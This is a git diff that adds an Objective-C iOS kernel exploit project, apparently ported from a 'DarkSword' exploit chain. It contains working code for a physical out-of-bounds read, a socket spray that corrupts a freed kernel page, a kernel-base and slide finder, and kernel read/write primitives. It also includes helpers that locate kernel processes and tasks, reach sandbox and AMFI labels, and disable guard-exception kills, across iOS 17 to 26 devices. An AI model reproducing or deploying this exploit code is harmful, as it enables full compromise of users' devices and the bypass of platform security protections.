&wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE); + printf("[+] wiredMapping: %#llx\n", wiredMapping); + } + NSMutableArray *targetInpGencntList = [NSMutableArray new]; + while (true) { + if (isA18Device) { + surface_mlock(wiredMapping, wiredMappingSize); + for (int s = 0; s < (wiredMappingSize / 0x4000); s++) { + *(uint64_t *)(wiredMapping + s * PAGE_SIZE) = 0; + } + } + NSMutableArray *searchMappings = [NSMutableArray new]; + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = 0; + kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_allocate failed!!!\n"); + FAILURE(0); + } + for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) { + *(uint64_t *)(searchMappingAddress + k) = randomMarker; + } + [searchMappings addObject:@(searchMappingAddress)]; + } + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + unsigned socketPortsCount = 0; +#define OPEN_MAX 10240 + int maxfiles = OPEN_MAX * 3; + int leeway = 4096 * 2; + for (unsigned socketCount = 0; socketCount < (maxfiles - leeway); + socketCount++) { + mach_port_t port = spray_socket(socketPorts, socketPcbIds); + if (port == -1) { + printf("[-] Failed to spray sockets: %u\n", socketCount); + break; + } else { + socketPortsCount++; + } + } + uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue; + uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue; + printf("[i] socketPortsCount: %u\n", socketPortsCount); + printf("[i] startPcbId: %llu\n", startPcbId); + printf("[i] endPcbId: %llu\n", endPcbId); + bool success = false; + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = + searchMappings[s].unsignedLongLongValue; + printf("[i] looking in search mapping: %llu\n", s); + mach_port_t memoryObject = 0; + mach_vm_size_t memoryObjectSize = searchMappingSize; + kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0); + if (kr != KERN_SUCCESS) { + printf("[-] mach_make_memory_entry_64 failed!!!"); + FAILURE(0); + } + surface_mlock(searchMappingAddress, searchMappingSize); + mach_vm_offset_t seekingOffset = 0; + while (seekingOffset < searchMappingSize) { + kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, + OOB_OFFSET, readBuffer); + if (kr == KERN_SUCCESS) { + if (find_and_corrupt_socket(memoryObject, seekingOffset, + readBuffer, writeBuffer, + targetInpGencntList, + false) == KERN_SUCCESS) { + success = true; + break; + } + } + seekingOffset += PAGE_SIZE; + } + kr = mach_port_deallocate(mach_task_self(), memoryObject); + if (kr != KERN_SUCCESS) { + printf("[-] mach_port_deallocate failed!!!\n"); + FAILURE(0); + } + if (success == true) { + break; + } + } + sockets_release(socketPorts, socketPcbIds); + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = + searchMappings.lastObject.unsignedLongLongValue; + [searchMappings removeLastObject]; + kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, + searchMappingSize); + } + if (isA18Device) { + surface_munlock(wiredMapping, wiredMappingSize); + } + if (success == true) { + break; + } + } +} + +void pe_v2(void) { + // A18-specific exploit path: "wired page marker" technique. + // Allocates 2GB of individually wired pages tagged with markers, + // then scans physical memory via OOB read. When a tagged page is found, + // deallocates it and sprays sockets into the freed physical page. + // This targeted approach replaces pe_v1's brute-force mass spray. + // Ported from DarkSword-RCE pe_main.js pe_v2() (lines 1151-1278). + + void *readBuffer = calloc(1, OOB_SIZE); + void *writeBuffer = calloc(1, OOB_SIZE); + initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE); + + mach_vm_size_t wiredEntrySize = PAGE_SIZE; + mach_vm_size_t wiredTotalSize = 1024ULL * 1024ULL * 1024ULL * 2ULL; // 2GB + uint64_t nWiredEntries = wiredTotalSize / wiredEntrySize; + + printf("[i] pe_v2: Allocating %llu wired pages (2GB)...\n", nWiredEntries); + + // Array to track wired page addresses + NSMutableArray *wiredAddrs = [[NSMutableArray alloc] initWithCapacity:(NSUInteger)nWiredEntries]; + + kern_return_t kr = KERN_SUCCESS; + mach_vm_address_t wiredAddr = 0; + + for (uint64_t i = 0; i < nWiredEntries; i++) { + if (i == 0) { + kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_ANYWHERE); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: initial mach_vm_allocate failed\n"); + FAILURE(0); + } + } else { + // Allocate contiguously after the last page + mach_vm_address_t nextAddr = wiredAddrs.lastObject.unsignedLongLongValue + wiredEntrySize; + do { + wiredAddr = nextAddr; + kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_FIXED); + nextAddr += wiredEntrySize; + } while (kr != KERN_SUCCESS); + } + [wiredAddrs addObject:@(wiredAddr)]; + surface_mlock(wiredAddr, wiredEntrySize); + // Tag each page: marker at +0x0, own address at +0x8 + *(uint64_t *)wiredAddr = wiredPageMarker; + *(uint64_t *)(wiredAddr + 0x8) = wiredAddr; + } + printf("[+] pe_v2: Allocated %llu wired pages\n", nWiredEntries); + + NSMutableArray *targetInpGencntList = [NSMutableArray new]; + + while (true) { + mach_vm_size_t searchMappingSize = 0x800ULL * PAGE_SIZE; + mach_vm_address_t searchMappingAddress = 0; + kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: mach_vm_allocate search mapping failed\n"); + FAILURE(0); + } + for (uint64_t k = 0; k < searchMappingSize; k += PAGE_SIZE) { + *(uint64_t *)(searchMappingAddress + k) = randomMarker; + } + surface_mlock(searchMappingAddress, searchMappingSize); + + mach_port_t memoryObject = 0; + mach_vm_size_t memoryObjectSize = searchMappingSize; + kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: mach_make_memory_entry_64 failed\n"); + FAILURE(0); + } + + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + unsigned socketPortsCount = 0; + uint64_t maxSocketsCount = 0x5800; + uint64_t splitCount = 8; + + bool success = false; + mach_vm_offset_t seekingOffset = 0; + + while (seekingOffset < searchMappingSize) { + kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + if (kr != KERN_SUCCESS) { + seekingOffset += PAGE_SIZE; + continue; + } + + uint64_t firstQword = *(uint64_t *)readBuffer; + + if (firstQword == wiredPageMarker) { + // Found a wired page! Read back the stored virtual address. + uint64_t wiredPage = *(uint64_t *)((uint8_t *)readBuffer + 0x8); + printf("[i] pe_v2: offset %#llx: Found wired page %#llx\n", seekingOffset, wiredPage); + + // Remove from tracking array + NSNumber *wiredPageNum = @(wiredPage); + NSUInteger idx = [wiredAddrs indexOfObject:wiredPageNum]; + if (idx == NSNotFound) { + printf("[-] pe_v2: Found old/duplicate wired page, skipping\n"); + seekingOffset += PAGE_SIZE; + continue; + } + [wiredAddrs removeObjectAtIndex:idx]; + + // Clear the marker and deallocate — this frees the physical page + *(uint64_t *)wiredPage = 0; + *(uint64_t *)(wiredPage + 0x8) = 0; + kr = mach_vm_deallocate(mach_task_self(), wiredPage, wiredEntrySize); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: Failed to deallocate wired page\n"); + } + + // Incremental socket spray into the freed physical page + for (uint64_t sc = 0; sc < maxSocketsCount / splitCount; sc++) { + mach_port_t port = spray_socket(socketPorts, socketPcbIds); + if (port == (mach_port_t)-1) { + printf("[-] pe_v2: Failed to spray sockets: %u\n", socketPortsCount); + break; + } + socketPortsCount++; + } + + // Try to find and corrupt a socket on this page + if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, true) == KERN_SUCCESS) { + printf("[+] pe_v2: offset %#llx: Reallocated PCB page!\n", seekingOffset); + success = true; + break; + } else { + // If we've exhausted sockets, release all and wait for zone trimming + if (socketPortsCount >= maxSocketsCount) { + sockets_release(socketPorts, socketPcbIds); + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + socketPortsCount = 0; + printf("[+] pe_v2: Socket limit reached, waiting for zone trimming...\n"); + sleep(20); + } + // Restart scanning from beginning + seekingOffset = 0; + } + } else if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) { + // Found a PCB page without wired marker + printf("[+] pe_v2: offset %#llx: Found PCB page!\n", seekingOffset); + success = true; + break; + } else { + seekingOffset += PAGE_SIZE; + } + } + + kr = mach_port_deallocate(mach_task_self(), memoryObject); + sockets_release(socketPorts, socketPcbIds); + kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize); + + if (success) break; + } + + // Cleanup: deallocate remaining wired pages + for (NSNumber *addr in wiredAddrs) { + mach_vm_deallocate(mach_task_self(), addr.unsignedLongLongValue, wiredEntrySize); + } + printf("[+] pe_v2: Done, cleaned up %lu remaining wired pages\n", (unsigned long)wiredAddrs.count); + free(readBuffer); + free(writeBuffer); +} + +void krw_sockets_leak_forever(void) { + uint64_t controlSocketAddr = + early_kread64(controlSocketPcb + off_inpcb_inp_socket); + uint64_t rwSocketAddr = + early_kread64(rwSocketPcb + off_inpcb_inp_socket); + + if (!controlSocketAddr || !rwSocketAddr) { + printf("[-] Couldn't find controlSocketAddr || rwSocketAddr\n"); + FAILURE(0); + } + + uint64_t controlSocketSoCount = + early_kread64(controlSocketAddr + off_socket_so_usecount); + uint64_t rwSocketSoCount = + early_kread64(rwSocketAddr + off_socket_so_usecount); + early_kwrite64(controlSocketAddr + off_socket_so_usecount, + controlSocketSoCount + 0x0000100100001001); + early_kwrite64(rwSocketAddr + off_socket_so_usecount, + rwSocketSoCount + 0x0000100100001001); + + early_kwrite64(rwSocketPcb + off_inpcb_inp_depend6_inp6_chksum, 0); +} + +uint64_t g_kernel_base; +uint64_t g_kernel_slide; + +int kexploit_opa334(void) { + // to support various iOS 17 - 26 versions + offsets_init(); + + init_globals(); + + if (gIsA18Above) { + printf("[+] Running on A18/M4 device\n"); + sleep(8); + pe_init(); + pe_v2(); + } else { + printf("[+] Running on non-A18/M4 device\n"); + pe_init(); + pe_v1(); + } + + printf("[+] highestSuccessIdx: %d\n", highestSuccessIdx); + printf("[+] successReadCount: %d\n", successReadCount); + + goSync = 0; + raceSync = 1; + pthread_join(freeThread, NULL); + close(writeFd); + close(readFd); + + controlSocketPcb = early_kread64(rwSocketPcb + off_inpcb_inp_list_le_next); + uint64_t pcbinfo_pointer = early_kread64(controlSocketPcb + off_inpcb_inp_pcbinfo); + uint64_t ipi_zone = early_kread64(pcbinfo_pointer + off_inpcbinfo_ipi_zone); + uint64_t zv_name = early_kread64(ipi_zone + off_kalloc_type_view_kt_zv_zv_name); + + g_kernel_base = zv_name & 0xFFFFFFFFFFFFC000; + while (true) { + // PRINT_VAR(g_kernel_base); + if (early_kread64(g_kernel_base) == 0x100000cfeedfacf) { + if(gIsPACSupported) { //arm64e devices + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"19.0") && early_kread64(g_kernel_base + 0x8) == 0xc00000002) { // iOS 16.x, 17.x, 18.x + break; + } + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0") && early_kread64(g_kernel_base + 0x8) == 0xCC0000002) { // iOS 26.x + break; + } + if(SYSTEM_VERSION_LESS_THAN(@"16.0")) { // iOS 15.x + break; + } + } else { //arm64 devices + if(early_kread64(g_kernel_base + 0x8) == 0x200000000) { //tested only on ipad7 18.0 + break; + } + } + } + g_kernel_base -= PAGE_SIZE; + } + + g_kernel_slide = g_kernel_base - 0xfffffff007004000; + + printf("early_kread64(%#llx) -> %#llx\n", g_kernel_base, + early_kread64(g_kernel_base)); + + printf("win??\n"); + + krw_sockets_leak_forever(); + + fflush(stdout); + sleep(1); + + return 0; +} diff --git a/kexploit/krw.h b/kexploit/krw.h new file mode 100644 index 0000000..d655e48 --- /dev/null +++ b/kexploit/krw.h @@ -0,0 +1,37 @@ +// +// krw.m +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// + +#ifndef krw_m +#define krw_m + +#import +#import +#import "offsets.h" + +#define BIT(b) (1ULL << (b)) +#define ONES(x) (BIT((x))-1) +#define PTR_MASK ONES(64-t1sz_boot) +#define PAC_MASK (~PTR_MASK) +#define SIGN(p) ((p) & BIT(55)) +#define UNSIGN_PTR(p) (SIGN(p) ? ((p) | PAC_MASK) : ((p) & ~PAC_MASK)) + +bool is_kaddr_valid(uint64_t addr); +void kreadbuf(uint64_t addr, void *buf, uint64_t len); +void kwritebuf(uint64_t addr, const void *buf, uint64_t len); +uint16_t kread16(uint64_t kaddr); +uint32_t kread32(uint64_t kaddr); +uint64_t kread64(uint64_t kaddr); +void kwrite8(uint64_t kaddr, uint8_t val); +void kwrite16(uint64_t kaddr, uint16_t val); +void kwrite32(uint64_t kaddr, uint32_t val); +void kwrite64(uint64_t kaddr, uint64_t val); +void khexdump(uint64_t addr, size_t size); +uint64_t kread_ptr(uint64_t va); +uint64_t kread_smrptr(uint64_t va); +void kwrite_zone_element(uint64_t dst, const void *src, uint64_t len); + +#endif /* krw_m */ diff --git a/kexploit/krw.m b/kexploit/krw.m new file mode 100644 index 0000000..04ba46c --- /dev/null +++ b/kexploit/krw.m @@ -0,0 +1,192 @@ +// +// krw.m +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// +#import "krw.h" +#import "kexploit_opa334.h" +#import +#import +#import +#import +#import +#import "xpaci.h" +#import "offsets.h" + +extern bool gIsPACSupported; + +bool is_kaddr_valid(uint64_t addr) { + if ((addr & 0xfffff00000000000) != 0xfffff00000000000) { + return false; + } + return true; +} + +uint16_t kread16(uint64_t kaddr) +{ + return (uint16_t)(early_kread64(kaddr) & 0xFFFF); +} + +uint32_t kread32(uint64_t kaddr) +{ + return (uint32_t)(early_kread64(kaddr) & 0xFFFFFFFF); +} + +uint64_t kread64(uint64_t kaddr) +{ + return early_kread64(kaddr); +} + +void kwrite8(uint64_t kaddr, uint8_t val) +{ + uint64_t what = early_kread64(kaddr); + early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFFFF00ULL) | (uint64_t)val); +} + +void kwrite16(uint64_t kaddr, uint16_t val) +{ + uint64_t what = early_kread64(kaddr); + early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFF0000ULL) | (uint64_t)val); +} + +void kwrite32(uint64_t kaddr, uint32_t val) +{ + uint64_t what = early_kread64(kaddr); + early_kwrite64(kaddr, (what & 0xFFFFFFFF00000000ULL) | (uint64_t)val); +} + +void kwrite64(uint64_t kaddr, uint64_t val) +{ + early_kwrite64(kaddr, val); +} + +uint8_t kread8(uint64_t addr) { + uint32_t low = kread32(addr); + return (uint8_t)(low & 0xFF); +} + +void kreadbuf(uint64_t addr, void *buf, uint64_t len) { + for (size_t off = 0; off < len; off += 8) { + uint64_t val = early_kread64(addr + off); + size_t chunk = (len - off >= 8) ? 8 : (len - off); + memcpy((uint8_t *)buf + off, &val, chunk); + } +} + +void kwritebuf(uint64_t addr, const void *buf, uint64_t len) +{ + for (size_t off = 0; off < len; off += 8) { + uint64_t val = 0; + size_t chunk = (len - off >= 8) ? 8 : (len - off); + memcpy(&val, (const uint8_t *)buf + off, chunk); + if (chunk == 8) { + early_kwrite64(addr + off, val); + } else { + uint64_t original = early_kread64(addr + off); + uint64_t mask = (1ULL << (chunk * 8)) - 1; + early_kwrite64(addr + off, (original & ~mask) | (val & mask)); + } + } +} + +void khexdump(uint64_t addr, size_t size) { + void *data = malloc(size); + + for (size_t off = 0; off < size; off += 8) { + uint64_t val = early_kread64(addr + off); + size_t chunk = (size - off >= 8) ? 8 : (size - off); + memcpy((uint8_t *)data + off, &val, chunk); + } + + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + if ((i % 16) == 0) + { + printf("[0x%016llx+0x%03zx] ", addr, i); + } + + printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i+1) % 8 == 0 || i+1 == size) { + printf(" "); + if ((i+1) % 16 == 0) { + printf("| %s \n", ascii); + } else if (i+1 == size) { + ascii[(i+1) % 16] = '\0'; + if ((i+1) % 16 <= 8) { + printf(" "); + } + for (j = (i+1) % 16; j < 16; ++j) { + printf(" "); + } + printf("| %s \n", ascii); + } + } + } + free(data); +} + +uint64_t kread_ptr(uint64_t va) +{ + return xpaci(kread64(va)); +} + +uint64_t kread_smrptr(uint64_t va) +{ + uint64_t value = kread_ptr(va); + + uint64_t bits = (smr_base << (62-t1sz_boot)); + + if((value & bits) == 0) { + return ((value & (0xFFFFFFFFFFFFC000 & ~bits)) | bits); + } + return (value & 0xFFFFFFFFFFFFFFE0); +} + +void kwrite_zone_element(uint64_t dst, const void *src, uint64_t len) +{ + if (len < EARLY_KRW_LENGTH) { + printf("[%s:%d] kwrite_zone_element: len < 0x20 not supported\n", + __FUNCTION__, __LINE__); + return; + } + + uint8_t tmpBuf[EARLY_KRW_LENGTH]; + uint64_t remaining = len; + uint64_t offset = 0; + + while (remaining != 0) { + uint64_t writeSize = (remaining >= EARLY_KRW_LENGTH) + ? EARLY_KRW_LENGTH + : (remaining % EARLY_KRW_LENGTH); + + uint64_t writeDst = dst + offset; + uint64_t srcOff = offset; + + if (writeSize != EARLY_KRW_LENGTH) { + // Last fragment < 0x20: Shift start address backward + // to keep the 0x20-byte block within the zone boundary. + uint64_t adjust = EARLY_KRW_LENGTH - writeSize; + writeDst -= adjust; + srcOff -= adjust; + + // Read existing data from the shifted region (read-modify-write) + kreadbuf(writeDst, tmpBuf, EARLY_KRW_LENGTH); + // Overwrite only the specific portion to be modified + memcpy(tmpBuf + adjust, (const uint8_t *)src + offset, writeSize); + early_kwrite32bytes(writeDst, tmpBuf); + } else { + early_kwrite32bytes(writeDst, (const uint8_t *)src + srcOff); + } + + remaining -= writeSize; + offset += writeSize; + } +} diff --git a/kexploit/kutils.h b/kexploit/kutils.h new file mode 100644 index 0000000..0e7bf26 --- /dev/null +++ b/kexploit/kutils.h @@ -0,0 +1,40 @@ +// +// kutils.h +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#ifndef kutils_h +#define kutils_h + +#include +#include +#include +#include + +uint64_t proc_self(void); +uint64_t task_self(void); +char* proc_get_p_name(uint64_t proc); +uint64_t proc_task(uint64_t proc); +uint64_t proc_find(pid_t pid); +uint64_t proc_find_by_name(const char* name); +const char* get_bootManifestHash(void); +uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port); +uint64_t task_get_vm_map(uint64_t task_ptr); +int disable_excguard_kill(uint64_t task); +uint64_t thread_get_t_tro(uint64_t thread); +uint64_t thread_get_task(uint64_t thread); +uint16_t thread_get_options(uint64_t thread); +void thread_set_options(uint64_t thread, uint16_t options); +void thread_set_mutex(uint64_t thread, uint32_t ctid); +uint32_t thread_get_mutex(uint64_t thread); +uint64_t thread_get_kstackptr(uint64_t thread); +uint64_t thread_get_jop_pid(uint64_t thread); +uint64_t thread_get_rop_pid(uint64_t thread); +uint64_t proc_get_cred_label(uint64_t proc); +uint64_t amfi_cslot_get(uint64_t label); +uint64_t label_get_sandbox(uint64_t label); +uint64_t kalloc_array_decode(uint64_t ptr); + +#endif /* kutils_h */ diff --git a/kexploit/kutils.m b/kexploit/kutils.m new file mode 100644 index 0000000..16fc5e3 --- /dev/null +++ b/kexploit/kutils.m @@ -0,0 +1,233 @@ +// +// kutils.m +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#import "kutils.h" +#import "kexploit_opa334.h" +#import "krw.h" +#import "offsets.h" +#import +#import +#import +#import +#import + +extern bool gIsPACSupported; +extern uint64_t rwSocketPcb; + +uint64_t gSelfProc = 0; +uint64_t gSelfTask = 0; + +uint64_t proc_self(void) { + if(!gSelfProc) { + uint64_t rwSocketAddr = kread64(rwSocketPcb + off_inpcb_inp_socket); + uint64_t current_thread = kread64(rwSocketAddr + off_socket_so_background_thread); + uint64_t current_thread_ro = kread64(current_thread + off_thread_t_tro); + gSelfProc = kread64(current_thread_ro + off_thread_ro_tro_proc); + } + return gSelfProc; +} + +uint64_t task_self(void) { + if(!gSelfTask) { + uint64_t rwSocketAddr = kread64(rwSocketPcb + off_inpcb_inp_socket); + uint64_t current_thread = kread64(rwSocketAddr + off_socket_so_background_thread); + uint64_t current_thread_ro = kread64(current_thread + off_thread_t_tro); + gSelfTask = kread64(current_thread_ro + off_thread_ro_tro_task); + } + return gSelfTask; +} + +uint64_t proc_find(pid_t pid) { + uint64_t proc = proc_self(); + while (1) { + uint32_t curPid = kread32(proc + off_proc_p_pid); + if (curPid == pid) + return proc; + proc = kread64(proc + off_proc_p_list_le_next); + if(!proc) break; + } + + proc = proc_self(); + while (1) { + uint32_t curPid = kread32(proc + off_proc_p_pid); + if (curPid == pid) + return proc; + proc = kread64(proc + off_proc_p_list_le_prev); + if(!proc) return -1; // not found + } + + return proc; +} + +uint64_t proc_find_by_name(const char* name) { + uint64_t proc = proc_self(); + while (1) { + char *p_name = proc_get_p_name(proc); + if(p_name != NULL && strcmp(p_name, name) == 0) + return proc; + proc = kread64(proc + off_proc_p_list_le_next); + if(!proc) break; + } + + proc = proc_self(); + while (1) { + char *p_name = proc_get_p_name(proc); + if(p_name != NULL && strcmp(p_name, name) == 0) + return proc; + proc = kread64(proc + off_proc_p_list_le_prev); + if(!proc) return -1; // not found + } + + return proc; +} + +char proc_name[32]; +char* proc_get_p_name(uint64_t proc) { + if(!proc) return NULL; + memset(proc_name, 0, 32); + kreadbuf(proc + off_proc_p_name, &proc_name, 32); + return proc_name; +} + +uint64_t proc_task(uint64_t proc) +{ + uint64_t p_proc_ro = kread64(proc + off_proc_p_proc_ro); + uint64_t pr_task = kread64(p_proc_ro + off_proc_ro_pr_task); + return pr_task; +} + +uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name) +{ + // New format in iOS 16.1 + uint64_t table = kread_smrptr(space + off_ipc_space_is_table); + // Temporary FIX: + // It seems like only problem occured when arm64 devices (especially iPad 7/17.0) + // When tried running without below if code block, it still works fine on iPhone SE2/17.0, SE3/18.6.2 + // If code blocks running on iPad M4/26.0.x, it occured problems. + if(!gIsPACSupported) { + table |= 0xFFFFFF8000000000ULL; + table = kalloc_array_decode(table); + } + + return (table + (sizeof_ipc_entry * (name >> 8))); +} + +uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port) +{ + uint64_t itk_space = kread_ptr(task + off_task_itk_space); + return ipc_entry_lookup(itk_space, port); +} + +uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port) +{ + return kread_ptr(task_get_ipc_port_table_entry(task, port) + off_ipc_entry_ie_object); +} + +uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port) +{ + return kread_ptr(task_get_ipc_port_object(task, port) + off_ipc_port_ip_kobject); +} + +uint64_t task_get_vm_map(uint64_t task_ptr) +{ + return kread_ptr(task_ptr + off_task_map); +} + +uint64_t thread_get_t_tro(uint64_t thread) { + return kread64(thread + off_thread_t_tro); +} + +// from pe_main.js +int disable_excguard_kill(uint64_t task) { + // in mach_port_guard_ast, the victim would crash if these are on. + uint32_t excGuard = kread32(task + off_task_task_exc_guard); + excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL); + excGuard |= TASK_EXC_GUARD_MP_DELIVER; + kwrite32(task + off_task_task_exc_guard, excGuard); + + return 0; +} + +uint64_t thread_get_task(uint64_t thread) +{ + uint64_t tro = thread_get_t_tro(thread); + return kread64(tro + off_thread_ro_tro_task); +} + +uint16_t thread_get_options(uint64_t thread) +{ + return kread16(thread + off_thread_options); +} + +void thread_set_options(uint64_t thread, uint16_t options) { + kwrite16(thread + off_thread_options, options); +} + +void thread_set_mutex(uint64_t thread, uint32_t ctid) { + kwrite32(thread + off_thread_mutex_lck_mtx_data, ctid); +} + +uint32_t thread_get_mutex(uint64_t thread) { + return kread32(thread + off_thread_mutex_lck_mtx_data); +} + +uint64_t thread_get_kstackptr(uint64_t thread) { + return kread_ptr(thread + off_thread_machine_kstackptr); +} + +uint64_t thread_get_jop_pid(uint64_t thread) { + return kread64(thread + off_thread_machine_jop_pid); +} + +uint64_t thread_get_rop_pid(uint64_t thread) { + return kread64(thread + off_thread_machine_rop_pid); +} + +const char* get_bootManifestHash(void) { + struct statfs fs; + if (statfs("/usr/standalone/firmware", &fs) == 0) { + NSString *mountedPath = [NSString stringWithUTF8String:fs.f_mntfromname]; + NSArray *components = [mountedPath componentsSeparatedByString:@"/"]; + if ([components count] > 3) { + NSString *substring = components[3]; + return substring.UTF8String; + } + } + return NULL; +} + +uint64_t proc_get_cred_label(uint64_t proc) { + uint64_t p_proc_ro = kread64(proc + off_proc_p_proc_ro); + uint64_t ucred = kread64(p_proc_ro + off_proc_ro_p_ucred); + uint64_t label = kread_ptr(ucred + off_ucred_cr_label); + return label; +} + +uint64_t amfi_cslot_get(uint64_t label) { + return kread64(label + off_label_l_perpolicy_amfi); +} + +uint64_t label_get_sandbox(uint64_t label) { + return kread64(label + off_label_l_perpolicy_sandbox); +} + +// from Darksword's libs/TaskRop/Task.js - static #kallocArrayDecodeAddr(ptr) +uint64_t kalloc_array_decode(uint64_t ptr) +{ + //xnu-10002.61.3/osfmk/kern/kalloc.c:2047 + uint64_t shift = 64 - t1sz_boot - 1; + uint64_t zone_mask = 1ULL << shift; + + if (ptr & zone_mask) { + ptr &= ~0x1FULL; + } else { + ptr &= ~0x3FFFULL; + ptr |= zone_mask; + } + return ptr; +} + diff --git a/kexploit/machine_info.h b/kexploit/machine_info.h new file mode 100644 index 0000000..215fd8c --- /dev/null +++ b/kexploit/machine_info.h @@ -0,0 +1,86 @@ +#ifndef MACHINE_INFO_H +#define MACHINE_INFO_H + +#include + +/* A8 */ +#ifndef CPUFAMILY_ARM_TYPHOON +#define CPUFAMILY_ARM_TYPHOON 0x2c91a47e +#endif + +/* A9 */ +#ifndef CPUFAMILY_ARM_TWISTER +#define CPUFAMILY_ARM_TWISTER 0x92fb37c8 +#endif + +/* A10 */ +#ifndef CPUFAMILY_ARM_HURRICANE +#define CPUFAMILY_ARM_HURRICANE 0x67ceee93 +#endif + +/* A11 */ +#ifndef CPUFAMILY_ARM_MONSOON_MISTRAL +#define CPUFAMILY_ARM_MONSOON_MISTRAL 0xe81e7ef6 +#endif + +/* A12 */ +#ifndef CPUFAMILY_ARM_VORTEX_TEMPEST +#define CPUFAMILY_ARM_VORTEX_TEMPEST 0x07d34b9f +#endif + +/* A13 */ +#ifndef CPUFAMILY_ARM_LIGHTNING_THUNDER +#define CPUFAMILY_ARM_LIGHTNING_THUNDER 0x462504d2 +#endif + +/* A14, M1 */ +#ifndef CPUFAMILY_ARM_FIRESTORM_ICESTORM +#define CPUFAMILY_ARM_FIRESTORM_ICESTORM 0x1b588bb3 +#endif + +/* A15, M2 */ +#ifndef CPUFAMILY_ARM_BLIZZARD_AVALANCHE +#define CPUFAMILY_ARM_BLIZZARD_AVALANCHE 0xda33d83d +#endif + +/* A16 */ +#ifndef CPUFAMILY_ARM_EVEREST_SAWTOOTH +#define CPUFAMILY_ARM_EVEREST_SAWTOOTH 0x8765edea +#endif + +/* A17 */ +#ifndef CPUFAMILY_ARM_COLL +#define CPUFAMILY_ARM_COLL 0x2876f5b5 +#endif + +/* A18 */ +#ifndef CPUFAMILY_ARM_TUPAI +#define CPUFAMILY_ARM_TUPAI 0x204526d0 +#endif + +/* A18 Pro */ +#ifndef CPUFAMILY_ARM_TAHITI +#define CPUFAMILY_ARM_TAHITI 0x75d4acb9 +#endif + +/* M3 */ +#ifndef CPUFAMILY_ARM_IBIZA +#define CPUFAMILY_ARM_IBIZA 0xfa33415e +#endif + +/* M4 */ +#ifndef CPUFAMILY_ARM_DONAN +#define CPUFAMILY_ARM_DONAN 0x6f5129ac +#endif + +/* A19 */ +#ifndef CPUFAMILY_ARM_TILOS +#define CPUFAMILY_ARM_TILOS 0x01d7a72b +#endif + +/* A19 Pro */ +#ifndef CPUFAMILY_ARM_THERA +#define CPUFAMILY_ARM_THERA 0xab345f09 +#endif + +#endif /* MACHINE_INFO_H */ diff --git a/kexploit/offsets.h b/kexploit/offsets.h new file mode 100644 index 0000000..780791a --- /dev/null +++ b/kexploit/offsets.h @@ -0,0 +1,100 @@ +// +// offsets.h +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// + +#import +#import + +extern uint32_t off_inpcb_inp_list_le_next; +extern uint32_t off_inpcb_inp_pcbinfo; +extern uint32_t off_inpcb_inp_socket; +extern uint32_t off_inpcbinfo_ipi_zone; +extern uint32_t off_inpcb_inp_depend6_inp6_icmp6filt; +extern uint32_t off_inpcb_inp_depend6_inp6_chksum; +extern uint32_t off_socket_so_usecount; +extern uint32_t off_socket_so_proto; +extern uint32_t off_socket_so_background_thread; +extern uint32_t off_kalloc_type_view_kt_zv_zv_name; +extern uint32_t off_thread_t_tro; +extern uint32_t off_thread_ro_tro_proc; +extern uint32_t off_thread_ro_tro_task; +extern uint32_t 